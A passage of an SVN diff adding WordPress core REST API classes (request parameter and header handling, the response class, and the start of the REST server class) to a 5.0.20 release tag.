+	 * @since 4.4.0
+	 *
+	 * @param string $key Header name, will be canonicalized to lowercase.
+	 * @return string|null String value if set, null otherwise.
+	 */
+	public function get_header( $key ) {
+		$key = $this->canonicalize_header_name( $key );
+
+		if ( ! isset( $this->headers[ $key ] ) ) {
+			return null;
+		}
+
+		return implode( ',', $this->headers[ $key ] );
+	}
+
+	/**
+	 * Retrieves header values from the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Header name, will be canonicalized to lowercase.
+	 * @return array|null List of string values if set, null otherwise.
+	 */
+	public function get_header_as_array( $key ) {
+		$key = $this->canonicalize_header_name( $key );
+
+		if ( ! isset( $this->headers[ $key ] ) ) {
+			return null;
+		}
+
+		return $this->headers[ $key ];
+	}
+
+	/**
+	 * Sets the header on request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key   Header name.
+	 * @param string $value Header value, or list of values.
+	 */
+	public function set_header( $key, $value ) {
+		$key = $this->canonicalize_header_name( $key );
+		$value = (array) $value;
+
+		$this->headers[ $key ] = $value;
+	}
+
+	/**
+	 * Appends a header value for the given header.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key   Header name.
+	 * @param string $value Header value, or list of values.
+	 */
+	public function add_header( $key, $value ) {
+		$key = $this->canonicalize_header_name( $key );
+		$value = (array) $value;
+
+		if ( ! isset( $this->headers[ $key ] ) ) {
+			$this->headers[ $key ] = array();
+		}
+
+		$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
+	}
+
+	/**
+	 * Removes all values for a header.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Header name.
+	 */
+	public function remove_header( $key ) {
+		$key = $this->canonicalize_header_name( $key );
+		unset( $this->headers[ $key ] );
+	}
+
+	/**
+	 * Sets headers on the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $headers  Map of header name to value.
+	 * @param bool  $override If true, replace the request's headers. Otherwise, merge with existing.
+	 */
+	public function set_headers( $headers, $override = true ) {
+		if ( true === $override ) {
+			$this->headers = array();
+		}
+
+		foreach ( $headers as $key => $value ) {
+			$this->set_header( $key, $value );
+		}
+	}
+
+	/**
+	 * Retrieves the content-type of the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Map containing 'value' and 'parameters' keys.
+	 */
+	public function get_content_type() {
+		$value = $this->get_header( 'content-type' );
+		if ( empty( $value ) ) {
+			return null;
+		}
+
+		$parameters = '';
+		if ( strpos( $value, ';' ) ) {
+			list( $value, $parameters ) = explode( ';', $value, 2 );
+		}
+
+		$value = strtolower( $value );
+		if ( strpos( $value, '/' ) === false ) {
+			return null;
+		}
+
+		// Parse type and subtype out.
+		list( $type, $subtype ) = explode( '/', $value, 2 );
+
+		$data = compact( 'value', 'type', 'subtype', 'parameters' );
+		$data = array_map( 'trim', $data );
+
+		return $data;
+	}
+
+	/**
+	 * Retrieves the parameter priority order.
+	 *
+	 * Used when checking parameters in get_param().
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array List of types to check, in order of priority.
+	 */
+	protected function get_parameter_order() {
+		$order = array();
+
+		$content_type = $this->get_content_type();
+		if ( $content_type['value'] === 'application/json' ) {
+			$order[] = 'JSON';
+		}
+
+		$this->parse_json_params();
+
+		// Ensure we parse the body data.
+		$body = $this->get_body();
+
+		if ( 'POST' !== $this->method && ! empty( $body ) ) {
+			$this->parse_body_params();
+		}
+
+		$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
+		if ( in_array( $this->method, $accepts_body_data ) ) {
+			$order[] = 'POST';
+		}
+
+		$order[] = 'GET';
+		$order[] = 'URL';
+		$order[] = 'defaults';
+
+		/**
+		 * Filters the parameter order.
+		 *
+		 * The order affects which parameters are checked when using get_param() and family.
+		 * This acts similarly to PHP's `request_order` setting.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array           $order {
+		 *    An array of types to check, in order of priority.
+		 *
+		 *    @param string $type The type to check.
+		 * }
+		 * @param WP_REST_Request $this The request object.
+		 */
+		return apply_filters( 'rest_request_parameter_order', $order, $this );
+	}
+
+	/**
+	 * Retrieves a parameter from the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Parameter name.
+	 * @return mixed|null Value if set, null otherwise.
+	 */
+	public function get_param( $key ) {
+		$order = $this->get_parameter_order();
+
+		foreach ( $order as $type ) {
+			// Determine if we have the parameter for this type.
+			if ( isset( $this->params[ $type ][ $key ] ) ) {
+				return $this->params[ $type ][ $key ];
+			}
+		}
+
+		return null;
+	}
+
+	/**
+	 * Sets a parameter on the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key   Parameter name.
+	 * @param mixed  $value Parameter value.
+	 */
+	public function set_param( $key, $value ) {
+		$order = $this->get_parameter_order();
+		$this->params[ $order[0] ][ $key ] = $value;
+	}
+
+	/**
+	 * Retrieves merged parameters from the request.
+	 *
+	 * The equivalent of get_param(), but returns all parameters for the request.
+	 * Handles merging all the available values into a single array.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Map of key to value.
+	 */
+	public function get_params() {
+		$order = $this->get_parameter_order();
+		$order = array_reverse( $order, true );
+
+		$params = array();
+		foreach ( $order as $type ) {
+			// array_merge / the "+" operator will mess up
+			// numeric keys, so instead do a manual foreach.
+			foreach ( (array) $this->params[ $type ] as $key => $value ) {
+				$params[ $key ] = $value;
+			}
+		}
+
+		return $params;
+	}
+
+	/**
+	 * Retrieves parameters from the route itself.
+	 *
+	 * These are parsed from the URL using the regex.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value.
+	 */
+	public function get_url_params() {
+		return $this->params['URL'];
+	}
+
+	/**
+	 * Sets parameters from the route.
+	 *
+	 * Typically, this is set after parsing the URL.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $params Parameter map of key to value.
+	 */
+	public function set_url_params( $params ) {
+		$this->params['URL'] = $params;
+	}
+
+	/**
+	 * Retrieves parameters from the query string.
+	 *
+	 * These are the parameters you'd typically find in `$_GET`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value
+	 */
+	public function get_query_params() {
+		return $this->params['GET'];
+	}
+
+	/**
+	 * Sets parameters from the query string.
+	 *
+	 * Typically, this is set from `$_GET`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $params Parameter map of key to value.
+	 */
+	public function set_query_params( $params ) {
+		$this->params['GET'] = $params;
+	}
+
+	/**
+	 * Retrieves parameters from the body.
+	 *
+	 * These are the parameters you'd typically find in `$_POST`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value.
+	 */
+	public function get_body_params() {
+		return $this->params['POST'];
+	}
+
+	/**
+	 * Sets parameters from the body.
+	 *
+	 * Typically, this is set from `$_POST`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $params Parameter map of key to value.
+	 */
+	public function set_body_params( $params ) {
+		$this->params['POST'] = $params;
+	}
+
+	/**
+	 * Retrieves multipart file parameters from the body.
+	 *
+	 * These are the parameters you'd typically find in `$_FILES`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value
+	 */
+	public function get_file_params() {
+		return $this->params['FILES'];
+	}
+
+	/**
+	 * Sets multipart file parameters from the body.
+	 *
+	 * Typically, this is set from `$_FILES`.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $params Parameter map of key to value.
+	 */
+	public function set_file_params( $params ) {
+		$this->params['FILES'] = $params;
+	}
+
+	/**
+	 * Retrieves the default parameters.
+	 *
+	 * These are the parameters set in the route registration.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value
+	 */
+	public function get_default_params() {
+		return $this->params['defaults'];
+	}
+
+	/**
+	 * Sets default parameters.
+	 *
+	 * These are the parameters set in the route registration.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $params Parameter map of key to value.
+	 */
+	public function set_default_params( $params ) {
+		$this->params['defaults'] = $params;
+	}
+
+	/**
+	 * Retrieves the request body content.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string Binary data from the request body.
+	 */
+	public function get_body() {
+		return $this->body;
+	}
+
+	/**
+	 * Sets body content.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $data Binary data from the request body.
+	 */
+	public function set_body( $data ) {
+		$this->body = $data;
+
+		// Enable lazy parsing.
+		$this->parsed_json = false;
+		$this->parsed_body = false;
+		$this->params['JSON'] = null;
+	}
+
+	/**
+	 * Retrieves the parameters from a JSON-formatted body.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Parameter map of key to value.
+	 */
+	public function get_json_params() {
+		// Ensure the parameters have been parsed out.
+		$this->parse_json_params();
+
+		return $this->params['JSON'];
+	}
+
+	/**
+	 * Parses the JSON parameters.
+	 *
+	 * Avoids parsing the JSON data until we need to access it.
+	 *
+	 * @since 4.4.0
+	 * @since 4.7.0 Returns error instance if value cannot be decoded.
+	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
+	 */
+	protected function parse_json_params() {
+		if ( $this->parsed_json ) {
+			return true;
+		}
+
+		$this->parsed_json = true;
+
+		// Check that we actually got JSON.
+		$content_type = $this->get_content_type();
+
+		if ( empty( $content_type ) || 'application/json' !== $content_type['value'] ) {
+			return true;
+		}
+
+		$body = $this->get_body();
+		if ( empty( $body ) ) {
+			return true;
+		}
+
+		$params = json_decode( $body, true );
+
+		/*
+		 * Check for a parsing error.
+		 *
+		 * Note that due to WP's JSON compatibility functions, json_last_error
+		 * might not be defined: https://core.trac.wordpress.org/ticket/27799
+		 */
+		if ( null === $params && ( ! function_exists( 'json_last_error' ) || JSON_ERROR_NONE !== json_last_error() ) ) {
+			// Ensure subsequent calls receive error instance.
+			$this->parsed_json = false;
+
+			$error_data = array(
+				'status' => WP_Http::BAD_REQUEST,
+			);
+			if ( function_exists( 'json_last_error' ) ) {
+				$error_data['json_error_code'] = json_last_error();
+				$error_data['json_error_message'] = json_last_error_msg();
+			}
+
+			return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
+		}
+
+		$this->params['JSON'] = $params;
+		return true;
+	}
+
+	/**
+	 * Parses the request body parameters.
+	 *
+	 * Parses out URL-encoded bodies for request methods that aren't supported
+	 * natively by PHP. In PHP 5.x, only POST has these parsed automatically.
+	 *
+	 * @since 4.4.0
+	 */
+	protected function parse_body_params() {
+		if ( $this->parsed_body ) {
+			return;
+		}
+
+		$this->parsed_body = true;
+
+		/*
+		 * Check that we got URL-encoded. Treat a missing content-type as
+		 * URL-encoded for maximum compatibility.
+		 */
+		$content_type = $this->get_content_type();
+
+		if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
+			return;
+		}
+
+		parse_str( $this->get_body(), $params );
+
+		/*
+		 * Amazingly, parse_str follows magic quote rules. Sigh.
+		 *
+		 * NOTE: Do not refactor to use `wp_unslash`.
+		 */
+		if ( get_magic_quotes_gpc() ) {
+			$params = stripslashes_deep( $params );
+		}
+
+		/*
+		 * Add to the POST parameters stored internally. If a user has already
+		 * set these manually (via `set_body_params`), don't override them.
+		 */
+		$this->params['POST'] = array_merge( $params, $this->params['POST'] );
+	}
+
+	/**
+	 * Retrieves the route that matched the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string Route matching regex.
+	 */
+	public function get_route() {
+		return $this->route;
+	}
+
+	/**
+	 * Sets the route that matched the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $route Route matching regex.
+	 */
+	public function set_route( $route ) {
+		$this->route = $route;
+	}
+
+	/**
+	 * Retrieves the attributes for the request.
+	 *
+	 * These are the options for the route that was matched.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array Attributes for the request.
+	 */
+	public function get_attributes() {
+		return $this->attributes;
+	}
+
+	/**
+	 * Sets the attributes for the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $attributes Attributes for the request.
+	 */
+	public function set_attributes( $attributes ) {
+		$this->attributes = $attributes;
+	}
+
+	/**
+	 * Sanitizes (where possible) the params on the request.
+	 *
+	 * This is primarily based off the sanitize_callback param on each registered
+	 * argument.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
+	 */
+	public function sanitize_params() {
+		$attributes = $this->get_attributes();
+
+		// No arguments set, skip sanitizing.
+		if ( empty( $attributes['args'] ) ) {
+			return true;
+		}
+
+		$order = $this->get_parameter_order();
+
+		$invalid_params = array();
+
+		foreach ( $order as $type ) {
+			if ( empty( $this->params[ $type ] ) ) {
+				continue;
+			}
+			foreach ( $this->params[ $type ] as $key => $value ) {
+				if ( ! isset( $attributes['args'][ $key ] ) ) {
+					continue;
+				}
+				$param_args = $attributes['args'][ $key ];
+
+				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
+				if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
+					$param_args['sanitize_callback'] = 'rest_parse_request_arg';
+				}
+				// If there's still no sanitize_callback, nothing to do here.
+				if ( empty( $param_args['sanitize_callback'] ) ) {
+					continue;
+				}
+
+				$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );
+
+				if ( is_wp_error( $sanitized_value ) ) {
+					$invalid_params[ $key ] = $sanitized_value->get_error_message();
+				} else {
+					$this->params[ $type ][ $key ] = $sanitized_value;
+				}
+			}
+		}
+
+		if ( $invalid_params ) {
+			return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks whether this request is valid according to its attributes.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return bool|WP_Error True if there are no parameters to validate or if all pass validation,
+	 *                       WP_Error if required parameters are missing.
+	 */
+	public function has_valid_params() {
+		// If JSON data was passed, check for errors.
+		$json_error = $this->parse_json_params();
+		if ( is_wp_error( $json_error ) ) {
+			return $json_error;
+		}
+
+		$attributes = $this->get_attributes();
+		$required = array();
+
+		// No arguments set, skip validation.
+		if ( empty( $attributes['args'] ) ) {
+			return true;
+		}
+
+		foreach ( $attributes['args'] as $key => $arg ) {
+
+			$param = $this->get_param( $key );
+			if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
+				$required[] = $key;
+			}
+		}
+
+		if ( ! empty( $required ) ) {
+			return new WP_Error( 'rest_missing_callback_param', sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ), array( 'status' => 400, 'params' => $required ) );
+		}
+
+		/*
+		 * Check the validation callbacks for each registered arg.
+		 *
+		 * This is done after required checking as required checking is cheaper.
+		 */
+		$invalid_params = array();
+
+		foreach ( $attributes['args'] as $key => $arg ) {
+
+			$param = $this->get_param( $key );
+
+			if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
+				$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );
+
+				if ( false === $valid_check ) {
+					$invalid_params[ $key ] = __( 'Invalid parameter.' );
+				}
+
+				if ( is_wp_error( $valid_check ) ) {
+					$invalid_params[ $key ] = $valid_check->get_error_message();
+				}
+			}
+		}
+
+		if ( $invalid_params ) {
+			return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
+		}
+
+		return true;
+
+	}
+
+	/**
+	 * Checks if a parameter is set.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $offset Parameter name.
+	 * @return bool Whether the parameter is set.
+	 */
+	public function offsetExists( $offset ) {
+		$order = $this->get_parameter_order();
+
+		foreach ( $order as $type ) {
+			if ( isset( $this->params[ $type ][ $offset ] ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieves a parameter from the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $offset Parameter name.
+	 * @return mixed|null Value if set, null otherwise.
+	 */
+	public function offsetGet( $offset ) {
+		return $this->get_param( $offset );
+	}
+
+	/**
+	 * Sets a parameter on the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $offset Parameter name.
+	 * @param mixed  $value  Parameter value.
+	 */
+	public function offsetSet( $offset, $value ) {
+		$this->set_param( $offset, $value );
+	}
+
+	/**
+	 * Removes a parameter from the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $offset Parameter name.
+	 */
+	public function offsetUnset( $offset ) {
+		$order = $this->get_parameter_order();
+
+		// Remove the offset from every group.
+		foreach ( $order as $type ) {
+			unset( $this->params[ $type ][ $offset ] );
+		}
+	}
+
+	/**
+	 * Retrieves a WP_REST_Request object from a full URL.
+	 *
+	 * @static
+	 * @since 4.5.0
+	 *
+	 * @param string $url URL with protocol, domain, path and query args.
+	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
+	 */
+	public static function from_url( $url ) {
+		$bits = parse_url( $url );
+		$query_params = array();
+
+		if ( ! empty( $bits['query'] ) ) {
+			wp_parse_str( $bits['query'], $query_params );
+		}
+
+		$api_root = rest_url();
+		if ( get_option( 'permalink_structure' ) && 0 === strpos( $url, $api_root ) ) {
+			// Pretty permalinks on, and URL is under the API root.
+			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
+			$route = parse_url( $api_url_part, PHP_URL_PATH );
+		} elseif ( ! empty( $query_params['rest_route'] ) ) {
+			// ?rest_route=... set directly
+			$route = $query_params['rest_route'];
+			unset( $query_params['rest_route'] );
+		}
+
+		$request = false;
+		if ( ! empty( $route ) ) {
+			$request = new WP_REST_Request( 'GET', $route );
+			$request->set_query_params( $query_params );
+		}
+
+		/**
+		 * Filters the request generated from a URL.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param WP_REST_Request|false $request Generated request object, or false if URL
+		 *                                       could not be parsed.
+		 * @param string                $url     URL the request was generated from.
+		 */
+		return apply_filters( 'rest_request_from_url', $request, $url );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-response.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-response.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-response.php	(revision 56912)
@@ -0,0 +1,290 @@
+<?php
+/**
+ * REST API: WP_REST_Response class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a REST response object.
+ *
+ * @since 4.4.0
+ *
+ * @see WP_HTTP_Response
+ */
+class WP_REST_Response extends WP_HTTP_Response {
+
+	/**
+	 * Links related to the response.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $links = array();
+
+	/**
+	 * The route that was to create the response.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	protected $matched_route = '';
+
+	/**
+	 * The handler that was used to create the response.
+	 *
+	 * @since 4.4.0
+	 * @var null|array
+	 */
+	protected $matched_handler = null;
+
+	/**
+	 * Adds a link to the response.
+	 *
+	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @link https://tools.ietf.org/html/rfc5988
+	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
+	 *
+	 * @param string $rel        Link relation. Either an IANA registered type,
+	 *                           or an absolute URL.
+	 * @param string $href       Target URI for the link.
+	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
+	 */
+	public function add_link( $rel, $href, $attributes = array() ) {
+		if ( empty( $this->links[ $rel ] ) ) {
+			$this->links[ $rel ] = array();
+		}
+
+		if ( isset( $attributes['href'] ) ) {
+			// Remove the href attribute, as it's used for the main URL.
+			unset( $attributes['href'] );
+		}
+
+		$this->links[ $rel ][] = array(
+			'href'       => $href,
+			'attributes' => $attributes,
+		);
+	}
+
+	/**
+	 * Removes a link from the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param  string $rel  Link relation. Either an IANA registered type, or an absolute URL.
+	 * @param  string $href Optional. Only remove links for the relation matching the given href.
+	 *                      Default null.
+	 */
+	public function remove_link( $rel, $href = null ) {
+		if ( ! isset( $this->links[ $rel ] ) ) {
+			return;
+		}
+
+		if ( $href ) {
+			$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
+		} else {
+			$this->links[ $rel ] = array();
+		}
+
+		if ( ! $this->links[ $rel ] ) {
+			unset( $this->links[ $rel ] );
+		}
+	}
+
+	/**
+	 * Adds multiple links to the response.
+	 *
+	 * Link data should be an associative array with link relation as the key.
+	 * The value can either be an associative array of link attributes
+	 * (including `href` with the URL for the response), or a list of these
+	 * associative arrays.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $links Map of link relation to list of links.
+	 */
+	public function add_links( $links ) {
+		foreach ( $links as $rel => $set ) {
+			// If it's a single link, wrap with an array for consistent handling.
+			if ( isset( $set['href'] ) ) {
+				$set = array( $set );
+			}
+
+			foreach ( $set as $attributes ) {
+				$this->add_link( $rel, $attributes['href'], $attributes );
+			}
+		}
+	}
+
+	/**
+	 * Retrieves links for the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array List of links.
+	 */
+	public function get_links() {
+		return $this->links;
+	}
+
+	/**
+	 * Sets a single link header.
+	 *
+	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @link https://tools.ietf.org/html/rfc5988
+	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
+	 *
+	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
+	 * @param string $link  Target IRI for the link.
+	 * @param array  $other Optional. Other parameters to send, as an assocative array.
+	 *                      Default empty array.
+	 */
+	public function link_header( $rel, $link, $other = array() ) {
+		$header = '<' . $link . '>; rel="' . $rel . '"';
+
+		foreach ( $other as $key => $value ) {
+			if ( 'title' === $key ) {
+				$value = '"' . $value . '"';
+			}
+			$header .= '; ' . $key . '=' . $value;
+		}
+		$this->header( 'Link', $header, false );
+	}
+
+	/**
+	 * Retrieves the route that was used.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string The matched route.
+	 */
+	public function get_matched_route() {
+		return $this->matched_route;
+	}
+
+	/**
+	 * Sets the route (regex for path) that caused the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $route Route name.
+	 */
+	public function set_matched_route( $route ) {
+		$this->matched_route = $route;
+	}
+
+	/**
+	 * Retrieves the handler that was used to generate the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return null|array The handler that was used to create the response.
+	 */
+	public function get_matched_handler() {
+		return $this->matched_handler;
+	}
+
+	/**
+	 * Retrieves the handler that was responsible for generating the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $handler The matched handler.
+	 */
+	public function set_matched_handler( $handler ) {
+		$this->matched_handler = $handler;
+	}
+
+	/**
+	 * Checks if the response is an error, i.e. >= 400 response code.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return bool Whether the response is an error.
+	 */
+	public function is_error() {
+		return $this->get_status() >= 400;
+	}
+
+	/**
+	 * Retrieves a WP_Error object from the response.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return WP_Error|null WP_Error or null on not an errored response.
+	 */
+	public function as_error() {
+		if ( ! $this->is_error() ) {
+			return null;
+		}
+
+		$error = new WP_Error;
+
+		if ( is_array( $this->get_data() ) ) {
+			$data = $this->get_data();
+			$error->add( $data['code'], $data['message'], $data['data'] );
+			if ( ! empty( $data['additional_errors'] ) ) {
+				foreach( $data['additional_errors'] as $err ) {
+					$error->add( $err['code'], $err['message'], $err['data'] );
+				}
+			}
+		} else {
+			$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
+		}
+
+		return $error;
+	}
+
+	/**
+	 * Retrieves the CURIEs (compact URIs) used for relations.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array Compact URIs.
+	 */
+	public function get_curies() {
+		$curies = array(
+			array(
+				'name' => 'wp',
+				'href' => 'https://api.w.org/{rel}',
+				'templated' => true,
+			),
+		);
+
+		/**
+		 * Filters extra CURIEs available on API responses.
+		 *
+		 * CURIEs allow a shortened version of URI relations. This allows a more
+		 * usable form for custom relations than using the full URI. These work
+		 * similarly to how XML namespaces work.
+		 *
+		 * Registered CURIES need to specify a name and URI template. This will
+		 * automatically transform URI relations into their shortened version.
+		 * The shortened relation follows the format `{name}:{rel}`. `{rel}` in
+		 * the URI template will be replaced with the `{rel}` part of the
+		 * shortened relation.
+		 *
+		 * For example, a CURIE with name `example` and URI template
+		 * `http://w.org/{rel}` would transform a `http://w.org/term` relation
+		 * into `example:term`.
+		 *
+		 * Well-behaved clients should expand and normalise these back to their
+		 * full URI relation, however some naive clients may not resolve these
+		 * correctly, so adding new CURIEs may break backward compatibility.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param array $additional Additional CURIEs to register with the API.
+		 */
+		$additional = apply_filters( 'rest_response_link_curies', array() );
+		return array_merge( $curies, $additional );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-server.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-server.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/class-wp-rest-server.php	(revision 56912)
@@ -0,0 +1,1340 @@
+<?php
+/**
+ * REST API: WP_REST_Server class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement the WordPress REST API server.
+ *
+ * @since 4.4.0
+ */
+class WP_REST_Server {
+
+	/**
+	 * Alias for GET transport method.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	const READABLE = 'GET';
+
+	/**
+	 * Alias for POST transport method.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	const CREATABLE = 'POST';
+
+	/**
+	 * Alias for POST, PUT, PATCH transport methods together.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	const EDITABLE = 'POST, PUT, PATCH';
+
+	/**
+	 * Alias for DELETE transport method.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	const DELETABLE = 'DELETE';
+
+	/**
+	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';
+
+	/**
+	 * Namespaces registered to the server.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $namespaces = array();
+
+	/**
+	 * Endpoints registered to the server.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $endpoints = array();
+
+	/**
+	 * Options defined for the routes.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $route_options = array();
+
+	/**
+	 * Instantiates the REST server.
+	 *
+	 * @since 4.4.0
+	 */
+	public function __construct() {
+		$this->endpoints = array(
+			// Meta endpoints.
+			'/' => array(
+				'callback' => array( $this, 'get_index' ),
+				'methods' => 'GET',
+				'args' => array(
+					'context' => array(
+						'default' => 'view',
+					),
+				),
+			),
+		);
+	}
+
+
+	/**
+	 * Checks the authentication headers if supplied.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful
+	 *                       or no authentication provided
+	 */
+	public function check_authentication() {
+		/**
+		 * Filters REST authentication errors.
+		 *
+		 * This is used to pass a WP_Error from an authentication method back to
+		 * the API.
+		 *
+		 * Authentication methods should check first if they're being used, as
+		 * multiple authentication methods can be enabled on a site (cookies,
+		 * HTTP basic auth, OAuth). If the authentication method hooked in is
+		 * not actually being attempted, null should be returned to indicate
+		 * another authentication method should check instead. Similarly,
+		 * callbacks should ensure the value is `null` before checking for
+		 * errors.
+		 *
+		 * A WP_Error instance can be returned if an error occurs, and this should
+		 * match the format used by API methods internally (that is, the `status`
+		 * data should be used). A callback can return `true` to indicate that
+		 * the authentication method was used, and it succeeded.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param WP_Error|null|bool WP_Error if authentication error, null if authentication
+		 *                              method wasn't used, true if authentication succeeded.
+		 */
+		return apply_filters( 'rest_authentication_errors', null );
+	}
+
+	/**
+	 * Converts an error to a response object.
+	 *
+	 * This iterates over all error codes and messages to change it into a flat
+	 * array. This enables simpler client behaviour, as it is represented as a
+	 * list in JSON rather than an object/map.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_Error $error WP_Error instance.
+	 * @return WP_REST_Response List of associative arrays with code and message keys.
+	 */
+	protected function error_to_response( $error ) {
+		$error_data = $error->get_error_data();
+
+		if ( is_array( $error_data ) && isset( $error_data['status'] ) ) {
+			$status = $error_data['status'];
+		} else {
+			$status = 500;
+		}
+
+		$errors = array();
+
+		foreach ( (array) $error->errors as $code => $messages ) {
+			foreach ( (array) $messages as $message ) {
+				$errors[] = array( 'code' => $code, 'message' => $message, 'data' => $error->get_error_data( $code ) );
+			}
+		}
+
+		$data = $errors[0];
+		if ( count( $errors ) > 1 ) {
+			// Remove the primary error.
+			array_shift( $errors );
+			$data['additional_errors'] = $errors;
+		}
+
+		$response = new WP_REST_Response( $data, $status );
+
+		return $response;
+	}
+
+	/**
+	 * Retrieves an appropriate error representation in JSON.
+	 *
+	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
+	 * cannot handle WP_Error internally. All callbacks and other internal methods
+	 * should instead return a WP_Error with the data set to an array that includes
+	 * a 'status' key, with the value being the HTTP status to send.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $code    WP_Error-style code.
